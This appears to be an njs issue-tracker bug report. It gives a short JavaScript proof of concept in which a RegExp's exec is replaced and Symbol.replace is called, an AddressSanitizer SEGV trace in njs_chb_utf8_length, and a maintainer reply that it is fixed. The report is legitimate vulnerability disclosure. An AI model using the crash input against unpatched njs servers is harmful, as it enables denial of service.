SEGV njs_chb.h:112:16 in njs_chb_utf8_length

[xmzyshypnc]

Environment

OS : Linux 6.14.0-27-generic #27~24.04.1-Ubuntu SMP x86_64 GNU/Linux
Commit : e7eac456
Version : 1.0.1
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"

PoC

for (let num1 = 0; num1 < 5; num1++) {
    const val1 = Object.seal(this);
    const val2 = /test/;
    function func1(val3) {
        return val1;
    }
    val2.exec = func1;
    val2[Symbol.replace]();
}

Stack dump

AddressSanitizer:DEADLYSIGNAL
=================================================================
==3983361==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x5dd08002e53b bp 0x7ffd5f38fa10 sp 0x7ffd5f38f960 T0)
==3983361==The signal is caused by a READ memory access.
==3983361==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x5dd08002e53b in njs_chb_utf8_length /home/user/njs/build/njs_chb.h:112:16
    #1 0x5dd08002e53b in njs_string_create_chb /home/user/njs/build/njs_string.c:120:14
    #2 0x5dd08007555a in njs_regexp_prototype_symbol_replace /home/user/njs/build/njs_regexp.c:1531:11
    #3 0x5dd08006d468 in njs_function_native_call /home/user/njs/build/njs_function.c:638:11
    #4 0x5dd08006d468 in njs_function_frame_invoke /home/user/njs/build/njs_function.c:674:16
    #5 0x5dd07ff88447 in njs_vmcode_interpreter /home/user/njs/build/njs_vmcode.c:1531:15
    #6 0x5dd07ff7fecb in njs_vm_start /home/user/njs/build/njs_vm.c:699:11
    #7 0x5dd07ff6961f in njs_engine_njs_eval /home/user/njs/build/njs_shell.c:1410:16
    #8 0x5dd07ff692de in njs_process_script /home/user/njs/build/njs_shell.c:3443:11
    #9 0x5dd07ff68841 in njs_process_file /home/user/njs/build/njs_shell.c:3415:11
    #10 0x5dd07ff68841 in njs_main /home/user/njs/build/njs_shell.c:458:15
    #11 0x5dd07ff68841 in main /home/user/njs/build/njs_shell.c:493:11
    #12 0x7015a1c2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x7015a1c2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #14 0x5dd07fe8e1f4 in _start (/home/user/njs/build/njs+0x8c1f4) (BuildId: 7b7b506a61c1176357149153024890de7c9c894a)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/user/njs/build/njs_chb.h:112:16 in njs_chb_utf8_length
==3983361==ABORTING

Credit

xmzyshypnc(@xmzyshypnc) and Yanjie Zhao(@carol233) and Yiyang Liu(@lyyffee)

[xeioex]

Fixed in c785b57.